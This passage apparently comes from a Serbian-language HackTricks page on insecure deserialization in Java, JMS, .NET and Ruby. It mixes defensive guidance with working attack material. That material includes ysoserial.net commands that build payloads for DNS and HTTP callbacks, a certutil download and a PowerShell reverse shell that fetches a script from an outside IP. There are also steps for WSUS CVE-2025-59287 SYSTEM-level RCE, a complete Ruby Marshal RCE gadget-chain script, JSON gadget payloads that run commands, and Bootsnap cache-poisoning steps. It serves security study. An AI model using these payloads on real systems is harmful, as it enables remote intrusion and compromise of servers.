if (info.depth() > MAX_DEPTH) return Status.REJECTED; // Limit object graph depth
if (info.references() > MAX_REFERENCES) return Status.REJECTED; // Limit references
if (info.serialClass() != null && !allowedClasses.contains(info.serialClass().getName())) {
return Status.REJECTED; // Restrict to allowed classes
}
return Status.ALLOWED;
};
ObjectInputFilter.Config.setSerialFilter(filter);

Korišćenje eksternih biblioteka za poboljšanu bezbednost: Biblioteke kao što su NotSoSerial, jdeserialize i Kryo nude napredne funkcije za kontrolu i praćenje Java deserializacije. Ove biblioteke mogu obezbediti dodatne slojeve zaštite, kao što su whitelist/blacklist klasa, analiza serializovanih objekata pre deserializacije i implementacija prilagođenih strategija serializacije.

  • NotSoSerial presreće procese deserializacije kako bi sprečio izvršavanje nepoverljivog koda.
  • jdeserialize omogućava analizu serializovanih Java objekata bez njihove deserializacije, pomažući u identifikovanju potencijalno zlonamernog sadržaja.
  • Kryo je alternativni okvir za serializaciju koji naglašava brzinu i efikasnost, nudeći konfigurisane strategije serializacije koje mogu poboljšati bezbednost.

Reference

JNDI Injection & log4Shell

Pronađite šta je JNDI Injection, how to abuse it via RMI, CORBA & LDAP and how to exploit log4shell (i primer ove vuln) na sledećoj stranici:

JNDI - Java Naming and Directory Interface & Log4Shell

JMS - Java Message Service

The Java Message Service (JMS) API is a Java message-oriented middleware API for sending messages between two or more clients. It is an implementation to handle the producer–consumer problem. JMS is a part of the Java Platform, Enterprise Edition (Java EE), and was defined by a specification developed at Sun Microsystems, but which has since been guided by the Java Community Process. It is a messaging standard that allows application components based on Java EE to create, send, receive, and read messages. It allows the communication between different components of a distributed application to be loosely coupled, reliable, and asynchronous. (From Wikipedia).

Proizvodi

Postoje različiti proizvodi koji koriste ovaj middleware za slanje poruka:

https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf

https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf

Eksploatacija

Dakle, u suštini postoji mnogo servisa koji koriste JMS na opasan način. Stoga, ako imate dovoljno privilegija da pošaljete poruke tim servisima (obično će vam trebati validni kredencijali), mogli biste biti u mogućnosti da pošaljete zlonamerne serializovane objekte koji će biti deserializovani od strane consumer/subscriber.
To znači da u ovoj eksploataciji svi klijenti koji će koristiti tu poruku mogu biti inficirani.

Treba imati na umu da čak i ako je servis ranjiv (jer nesigurno deserializuje korisnički ulaz), i dalje morate naći validne gadgets da biste iskoristili ranjivost.

Alat JMET je napravljen da se poveže i napadne te servise slanjem više zlonamernih serializovanih objekata koristeći poznate gadgets. Ovi exploit-i će raditi ako je servis i dalje ranjiv i ako se bilo koji od korišćenih gadgets nalazi u ranjivoj aplikaciji.

References

.Net

U kontekstu .Net-a, deserialization exploit-i funkcionišu slično onima u Java-i, gde se gadgets zloupotrebljavaju da izvrše određeni kod tokom deserializacije objekta.

Otisak

WhiteBox

Izvorni kod treba pregledati u potrazi za pojavljivanjima:

  1. TypeNameHandling
  2. JavaScriptTypeResolver

Fokus treba biti na serializer-ima koji dozvoljavaju da tip bude određen promenljivom pod kontrolom korisnika.

BlackBox

Pretraga treba ciljati Base64 enkodovani string AAEAAAD///// ili bilo koji sličan obrazac koji bi mogao proći deserializaciju na server strani, dajući kontrolu nad tipom koji će biti deserializovan. Ovo može uključivati, ali nije ograničeno na, JSON ili XML strukture koje sadrže TypeObject ili $type.

ysoserial.net

U ovom slučaju možete koristiti alat ysoserial.net kako biste kreirali deserialization exploits. Nakon što preuzmete git repozitorijum treba kompajlirati alat koristeći Visual Studio, na primer.

Ako želite da naučite kako ysoserial.net kreira svoje exploit-e, možete check this page where is explained the ObjectDataProvider gadget + ExpandedWrapper + Json.Net formatter.

Glavne opcije ysoserial.net su: --gadget, --formatter, --output i --plugin.

  • --gadget koristi se da označi gadget koji će biti zloupotrebljen (navesti klasu/funkciju koja će biti zloupotrebljena tokom deserializacije da izvrši komande).
  • --formatter, koristi se da označi metod kojim će exploit biti serializovan (trebate znati koju biblioteku backend koristi za deserializaciju i koristiti istu za serializaciju).
  • --output koristi se da naznači da li želite exploit u raw ili base64 formatu. Napomena: ysoserial.net će enkodirati payload koristeći UTF-16LE (enkodiranje podrazumevano na Windows-u), tako da ako dobijete raw i samo ga enkodirate iz Linux konzole možete imati neke probleme sa enkodiranjem koji će sprečiti da exploit radi ispravno (u HTB JSON box payload je radio u oba formata, UTF-16LE i ASCII, ali to ne znači da će uvek raditi).
  • --plugin ysoserial.net podržava plugin-ove za kreiranje exploits za specifične framework-e kao što je ViewState

Više ysoserial.net parametara

  • --minify će obezbediti manji payload (ako je moguće)
  • --raf -f Json.Net -c "anything" Ovo će navesti sve gadget-e koji se mogu koristiti sa datim formatter-om (Json.Net u ovom primeru)
  • --sf xml možete odrediti gadget (-g) i ysoserial.net će tražiti formatter-e koji sadrže “xml” (case insensitive)

Primeri ysoserial-a za kreiranje exploits:

#Send ping
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "ping -n 5 10.10.14.44" -o base64

#Timing
#I tried using ping and timeout but there wasn't any difference in the response timing from the web server

#DNS/HTTP request
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "nslookup sb7jkgm6onw1ymw0867mzm2r0i68ux.burpcollaborator.net" -o base64
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "certutil -urlcache -split -f http://rfaqfsze4tl7hhkt5jtp53a1fsli97.burpcollaborator.net/a a" -o base64

#Reverse shell
#Create shell command in linux
echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.44/shell.ps1')" | iconv  -t UTF-16LE | base64 -w0
#Create exploit using the created B64 shellcode
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "powershell -EncodedCommand SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEANAAuADQANAAvAHMAaABlAGwAbAAuAHAAcwAxACcAKQA=" -o base64

ysoserial.net takođe ima veoma interesantan parametar koji pomaže da se bolje razume kako svaki exploit radi: --test
Ako navedete ovaj parametar ysoserial.net će pokušati exploit lokalno, tako da možete testirati da li će vaš payload raditi ispravno.
Ovaj parametar je koristan jer, ako pregledate kod, naći ćete delove koda kao u sledećem primeru (iz ObjectDataProviderGenerator.cs):

if (inputArgs.Test)
{
try
{
SerializersHelper.JsonNet_deserialize(payload);
}
catch (Exception err)
{
Debugging.ShowErrors(inputArgs, err);
}
}

To znači da će, da bi se testirao exploit, kod pozvati serializersHelper.JsonNet_deserialize

public static object JsonNet_deserialize(string str)
{
Object obj = JsonConvert.DeserializeObject<Object>(str, new JsonSerializerSettings
{
TypeNameHandling = TypeNameHandling.Auto
});
return obj;
}

U prethodnom primeru kod je ranjiv na kreirani exploit. Dakle, ako nađete nešto slično u .Net aplikaciji, verovatno je i ta aplikacija ranjiva. Zato parametar --test omogućava da razumemo koji delovi koda su ranjivi na deserialization exploit koji ysoserial.net može da kreira.

ViewState

Pogledajte ovaj POST o tome kako pokušati da iskoristite __ViewState parametar .Net da biste izvršili proizvoljan kod. Ako već znate secrets koji se koriste na mašini žrtve, pročitajte ovaj post da biste znali kako izvršiti kod.

Stvarni primer: WSUS AuthorizationCookie & Reporting SOAP → BinaryFormatter/SoapFormatter RCE

  • Pogođeni endpointi:
  • /SimpleAuthWebService/SimpleAuth.asmx → GetCookie() AuthorizationCookie se dešifruje, a zatim deserializuje pomoću BinaryFormatter.
  • /ReportingWebService.asmx → ReportEventBatch i povezane SOAP operacije koje dostižu SoapFormatter sinkove; base64 gadget se obrađuje kada WSUS konzola prihvati događaj.
  • Osnovni uzrok: bajtovi pod kontrolom napadača dospevaju do legacy .NET formatera (BinaryFormatter/SoapFormatter) bez stroge allow‑liste/bindera, pa se gadget lanci izvršavaju kao WSUS servisni nalog (često SYSTEM).

Minimalna eksploatacija (Reporting put):

  1. Generišite .NET gadget pomoću ysoserial.net (BinaryFormatter ili SoapFormatter) i ispišite base64, na primer:
# Reverse shell (EncodedCommand) via BinaryFormatter
ysoserial.exe -g TypeConfuseDelegate -f BinaryFormatter -o base64 -c "powershell -NoP -W Hidden -Enc <BASE64_PS>"

# Simple calc via SoapFormatter (test)
ysoserial.exe -g TypeConfuseDelegate -f SoapFormatter -o base64 -c "calc.exe"
  1. Kreirajte SOAP za ReportEventBatch ugrađujući base64 gadget i pošaljite ga putem POST na /ReportingWebService.asmx.
  2. Kada admin otvori WSUS konzolu, događaj se deserializuje i gadget se aktivira (RCE kao SYSTEM).

AuthorizationCookie / GetCookie()

  • Lažirani AuthorizationCookie može biti prihvaćen, dešifrovan i prosleđen u BinaryFormatter sink, omogućavajući pre‑auth RCE ako je dostižan.

Public PoC (tecxx/CVE-2025-59287-WSUS) parametri:

$lhost = "192.168.49.51"
$lport = 53
$targetURL = "http://192.168.51.89:8530"

See Windows Local Privilege Escalation – WSUS

Prevencija

Da biste umanjili rizike povezane sa deserialization u .Net:

  • Izbegavajte da tokovi podataka definišu tipove objekata. Koristite DataContractSerializer ili XmlSerializer kad je to moguće.
  • Za JSON.Net, podesite TypeNameHandling na None: TypeNameHandling = TypeNameHandling.None
  • Izbegavajte korišćenje JavaScriptSerializer sa JavaScriptTypeResolver.
  • Ograničite tipove koji mogu biti deserializovani, razumevajući ugrađene rizike .Net tipova, kao što je System.IO.FileInfo, koji može izmeniti atribute fajlova na serveru, potencijalno dovodeći do denial of service napada.
  • Budite oprezni sa tipovima koji imaju rizična svojstva, poput System.ComponentModel.DataAnnotations.ValidationException i njegovog svojstva Value, koje se može iskoristiti.
  • Sigurno kontrolišite instanciranje tipova kako biste sprečili da napadači utiču na deserialization proces, čime čak i DataContractSerializer ili XmlSerializer mogu postati ranjivi.
  • Implementirajte white list kontrole koristeći prilagođeni SerializationBinder za BinaryFormatter i JSON.Net.
  • Ostanite informisani o poznatim insecure deserialization gadgets unutar .Net i osigurajte da deserializers ne instanciraju takve tipove.
  • Izolujte potencijalno rizičan kod od koda sa internet pristupom kako biste izbegli izlaganje poznatih gadgets, kao što je System.Windows.Data.ObjectDataProvider u WPF aplikacijama, nepouzdanim izvorima podataka.

Reference

Ruby

U Ruby-ju, serijalizaciju obezbeđuju dve metode unutar biblioteke marshal. Prva metoda, poznata kao dump, koristi se za transformaciju objekta u byte stream — proces poznat kao serialization. Suprotno tome, druga metoda, load, služi za vraćanje byte stream-a nazad u objekat — proces poznat kao deserialization.

Za zaštitu serijalizovanih objekata, Ruby koristi HMAC (Hash-Based Message Authentication Code), što obezbeđuje integritet i autentičnost podataka. Ključ koji se koristi za ovu svrhu čuva se na jednom od sledećih mesta:

  • config/environment.rb
  • config/initializers/secret_token.rb
  • config/secrets.yml
  • /proc/self/environ

Ruby 2.X generic deserialization to RCE gadget chain (više informacija u https://www.elttam.com/blog/ruby-deserialization/):

#!/usr/bin/env ruby

# Code from https://www.elttam.com/blog/ruby-deserialization/

class Gem::StubSpecification
def initialize; end
end


stub_specification = Gem::StubSpecification.new
stub_specification.instance_variable_set(:@loaded_from, "|id 1>&2")#RCE cmd must start with "|" and end with "1>&2"

puts "STEP n"
stub_specification.name rescue nil
puts


class Gem::Source::SpecificFile
def initialize; end
end

specific_file = Gem::Source::SpecificFile.new
specific_file.instance_variable_set(:@spec, stub_specification)

other_specific_file = Gem::Source::SpecificFile.new

puts "STEP n-1"
specific_file <=> other_specific_file rescue nil
puts


$dependency_list= Gem::DependencyList.new
$dependency_list.instance_variable_set(:@specs, [specific_file, other_specific_file])

puts "STEP n-2"
$dependency_list.each{} rescue nil
puts


class Gem::Requirement
def marshal_dump
[$dependency_list]
end
end

payload = Marshal.dump(Gem::Requirement.new)

puts "STEP n-3"
Marshal.load(payload) rescue nil
puts


puts "VALIDATION (in fresh ruby process):"
IO.popen("ruby -e 'Marshal.load(STDIN.read) rescue nil'", "r+") do |pipe|
pipe.print payload
pipe.close_write
puts pipe.gets
puts
end

puts "Payload (hex):"
puts payload.unpack('H*')[0]
puts


require "base64"
puts "Payload (Base64 encoded):"
puts Base64.encode64(payload)

Još jedan RCE chain za eksploataciju Ruby On Rails: https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/

Ruby .send() metoda

Kao što je objašnjeno u this vulnerability report, ako neki nesanitizovani korisnički unos dođe do .send() metode nekog ruby objekta, ova metoda omogućava da se pozove bilo koja druga metoda objekta sa bilo kojim parametrima.

Na primer, pozivanje eval i prosleđivanje ruby koda kao drugog parametra omogućava izvršavanje proizvoljnog koda:

<Object>.send('eval', '<user input with Ruby code>') == RCE

Štaviše, ako je samo jedan parametar .send() pod kontrolom napadača, kao što je pomenuto u prethodnom writeupu, moguće je pozvati bilo koju metodu objekta koja ne zahteva argumente ili čiji argumenti imaju podrazumevane vrednosti.
Za ovo je moguće enumerisati sve metode objekta da bi se pronašle neke interesantne metode koje ispunjavaju te zahteve.

<Object>.send('<user_input>')

# This code is taken from the original blog post
# <Object> in this case is Repository
## Find methods with those requirements
repo = Repository.find(1)  # get first repo
repo_methods = [           # get names of all methods accessible by Repository object
repo.public_methods(),
repo.private_methods(),
repo.protected_methods(),
].flatten()

repo_methods.length()      # Initial number of methods => 5542

## Filter by the arguments requirements
candidate_methods = repo_methods.select() do |method_name|
[0, -1].include?(repo.method(method_name).arity())
end
candidate_methods.length() # Final number of methods=> 3595

Ruby class pollution

Check how it could be possible to pollute a Ruby class and abuse it in here.

Ruby _json pollution

Kada se u body pošalju neke vrednosti koje se ne mogu hash-ovati, poput array, one će biti dodate u novi ključ nazvan _json. Međutim, napadač takođe može u telo zahteva postaviti vrednost nazvanu _json sa proizvoljnim vrednostima koje želi. Ako backend, na primer, proverava verodostojnost nekog parametra, ali zatim takođe koristi _json parametar za izvršavanje neke akcije, može doći do zaobilaženja autorizacije.

Check more information in the Ruby _json pollution page.

Other libraries

Ova tehnika je preuzeta from this blog post.

There are other Ruby libraries that can be used to serialize objects and therefore that could be abused to gain RCE during an insecure deserialization. The following table shows some of these libraries and the method they called of the loaded library whenever it’s unserialized (function to abuse to get RCE basically):

LibraryInput dataKick-off method inside class
Marshal (Ruby)Binary_load
OjJSONhash (class needs to be put into hash(map) as key)
OxXMLhash (class needs to be put into hash(map) as key)
Psych (Ruby)YAMLhash (class needs to be put into hash(map) as key)
init_with
JSON (Ruby)JSONjson_create ([see notes regarding json_create at end](#table-vulnerable-sinks))

Osnovni primer:

# Existing Ruby class inside the code of the app
class SimpleClass
def initialize(cmd)
@cmd = cmd
end

def hash
system(@cmd)
end
end

# Exploit
require 'oj'
simple = SimpleClass.new("open -a calculator") # command for macOS
json_payload = Oj.dump(simple)
puts json_payload

# Sink vulnerable inside the code accepting user input as json_payload
Oj.load(json_payload)

U slučaju pokušaja zloupotrebe Oj, bilo je moguće pronaći gadget class koja će unutar svoje hash funkcije pozvati to_s, koja će pozvati spec, koja će pozvati fetch_path, koju je bilo moguće naterati da dohvaća nasumičan URL, što predstavlja odličan indikator ovakvih unsanitized deserialization vulnerabilities.

{
"^o": "URI::HTTP",
"scheme": "s3",
"host": "example.org/anyurl?",
"port": "anyport",
"path": "/",
"user": "anyuser",
"password": "anypw"
}

Osim toga, utvrđeno je da prethodnom tehnikom u sistemu bude kreiran i direktorijum, što je potrebno za zloupotrebu drugog gadgeta kako bi se ovo pretvorilo u potpuni RCE sa nečim poput:

{
"^o": "Gem::Resolver::SpecSpecification",
"spec": {
"^o": "Gem::Resolver::GitSpecification",
"source": {
"^o": "Gem::Source::Git",
"git": "zip",
"reference": "-TmTT=\"$(id>/tmp/anyexec)\"",
"root_dir": "/tmp",
"repository": "anyrepo",
"name": "anyname"
},
"spec": {
"^o": "Gem::Resolver::Specification",
"name": "name",
"dependencies": []
}
}
}

Pogledajte više detalja u original post.

Bootstrap Caching

Not really a desearilization vuln but a nice trick to abuse bootstrap caching to to get RCE from a rails application with an arbitrary file write (find the complete original post in here).

Ispod je kratak rezime koraka detaljno opisanih u članku za eksploataciju arbitrary file write ranjivosti zloupotrebom Bootsnap cache-a:

  • Identify the Vulnerability and Environment

Funkcionalnost upload-a fajlova u Rails aplikaciji dozvoljava napadaču da proizvoljno upisuje fajlove. Iako aplikacija radi sa ograničenjima (samo određeni direktorijumi kao tmp su upisivi zbog Docker non-root korisnika), ovo i dalje omogućava upis u Bootsnap cache direktorijum (obično pod tmp/cache/bootsnap).

  • Understand Bootsnap’s Cache Mechanism

Bootsnap ubrzava vreme podizanja Rails-a keširanjem kompajliranog Ruby koda, YAML i JSON fajlova. Čuva cache fajlove koji sadrže cache key header (sa poljima poput Ruby version, file size, mtime, compile options, itd.) praćene kompajliranim kodom. Taj header se koristi za validaciju cache-a tokom pokretanja aplikacije.

  • Gather File Metadata

Napadač prvo bira ciljnu datoteku koja će verovatno biti učitana tokom Rails startup-a (na primer, set.rb iz Ruby standardne biblioteke). Izvršavanjem Ruby koda unutar kontejnera, izvlače ključne metapodatke (kao što su RUBY_VERSION, RUBY_REVISION, size, mtime i compile_option). Ovi podaci su neophodni za kreiranje validnog cache key-a.

  • Compute the Cache File Path

Replikujući Bootsnap-ov FNV-1a 64-bit hash mehanizam, određuje se ispravna putanja cache fajla. Ovaj korak osigurava da je zlonamerni cache fajl postavljen tačno tamo gde Bootsnap očekuje (npr. pod tmp/cache/bootsnap/compile-cache-iseq/).

  • Craft the Malicious Cache File

Napadač priprema payload koji:

  • Executes arbitrary commands (for example, running id to show process info).
  • Removes the malicious cache after execution to prevent recursive exploitation.
  • Loads the original file (e.g., set.rb) to avoid crashing the application.

Ovaj payload se kompajlira u binarni Ruby kod i konkatenira sa pažljivo konstruisanim cache key header-om (koristeći prethodno prikupljene metapodatke i ispravnu verziju Bootsnap-a).

  • Overwrite and Trigger Execution

Korišćenjem arbitrary file write ranjivosti, napadač upisuje crafted cache fajl na izračunatu lokaciju. Zatim pokreću restart servera (npr. pisanjem u tmp/restart.txt, koji Puma nadgleda). Tokom restarta, kada Rails zahteva ciljanu datoteku, zlonamerni cache fajl se učitava, što rezultira remote code execution (RCE).

Ruby Marshal exploitation in practice (updated)

Treat any path where untrusted bytes reach Marshal.load/marshal_load as an RCE sink. Marshal reconstructs arbitrary object graphs and triggers library/gem callbacks during materialization.

  • Minimal vulnerable Rails code path:
class UserRestoreController < ApplicationController
def show
user_data = params[:data]
if user_data.present?
deserialized_user = Marshal.load(Base64.decode64(user_data))
render plain: "OK: #{deserialized_user.inspect}"
else
render plain: "No data", status: :bad_request
end
end
end
  • Uobičajene gadget classes viđene u stvarnim lancima: Gem::SpecFetcher, Gem::Version, Gem::RequestSet::Lockfile, Gem::Resolver::GitSpecification, Gem::Source::Git.
  • Tipičan marker sporednog efekta ugrađen u payloads (izvršava se tokom unmarshal):
*-TmTT="$(id>/tmp/marshal-poc)"any.zip

Gde se pojavljuje u realnim aplikacijama:

  • Rails cache stores i session stores koji su istorijski koristili Marshal
  • Background job backends i file-backed object stores
  • Bilo koja prilagođena persistencija ili prenos binarnih object blob-ova

Industrijalizovano otkrivanje gadgeta:

  • Grep-ujte za constructors, hash, _load, init_with, ili metode sa side-effect-om koje se pozivaju tokom unmarshal
  • Koristite CodeQL’s Ruby unsafe deserialization queries da pratite sources → sinks i otkrijete gadgete
  • Validirajte sa javnim multi-format PoC-ovima (JSON/XML/YAML/Marshal)

References

  • Trail of Bits – Marshal madness: A brief history of Ruby deserialization exploits: https://blog.trailofbits.com/2025/08/20/marshal-madness-a-brief-history-of-ruby-deserialization-exploits/
  • elttam – Ruby 2.x Universal RCE Deserialization Gadget Chain: https://www.elttam.com/blog/ruby-deserialization/
  • Phrack #69 – Rails 3/4 Marshal chain: https://phrack.org/issues/69/12.html
  • CVE-2019-5420 (Rails 5.2 insecure deserialization): https://nvd.nist.gov/vuln/detail/CVE-2019-5420
  • ZDI – RCE via Ruby on Rails Active Storage insecure deserialization: https://www.zerodayinitiative.com/blog/2019/6/20/remote-code-execution-via-ruby-on-rails-active-storage-insecure-deserialization
  • Include Security – Discovering gadget chains in Rubyland: https://blog.includesecurity.com/2024/03/discovering-deserialization-gadget-chains-in-rubyland/
  • GitHub Security Lab – Ruby unsafe deserialization (query help): https://codeql.github.com/codeql-query-help/ruby/rb-unsafe-deserialization/
  • GitHub Security Lab – PoCs repo: https://github.com/GitHubSecurityLab/ruby-unsafe-deserialization
  • Doyensec PR – Ruby 3.4 gadget: https://github.com/GitHubSecurityLab/ruby-unsafe-deserialization/pull/1
  • Luke Jahnke – Ruby 3.4 universal chain: https://nastystereo.com/security/ruby-3.4-deserialization.html
  • Luke Jahnke – Gem::SafeMarshal escape: https://nastystereo.com/security/ruby-safe-marshal-escape.html
  • Ruby 3.4.0-rc1 release: https://github.com/ruby/ruby/releases/tag/v3_4_0_rc1
  • Ruby fix PR #12444: https://github.com/ruby/ruby/pull/12444
  • Trail of Bits – Auditing RubyGems.org (Marshal findings): https://blog.trailofbits.com/2024/12/11/auditing-the-ruby-ecosystems-central-package-repository/
  • watchTowr Labs – Is This Bad? This Feels Bad — GoAnywhere CVE-2025-10035: https://labs.watchtowr.com/is-this-bad-this-feels-bad-goanywhere-cve-2025-10035/
  • OffSec – CVE-2025-59287 WSUS unsafe deserialization (blog)
  • PoC – tecxx/CVE-2025-59287-WSUS
  • RSC Report Lab – CVE-2025-55182 (React 19.2.0)

Tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks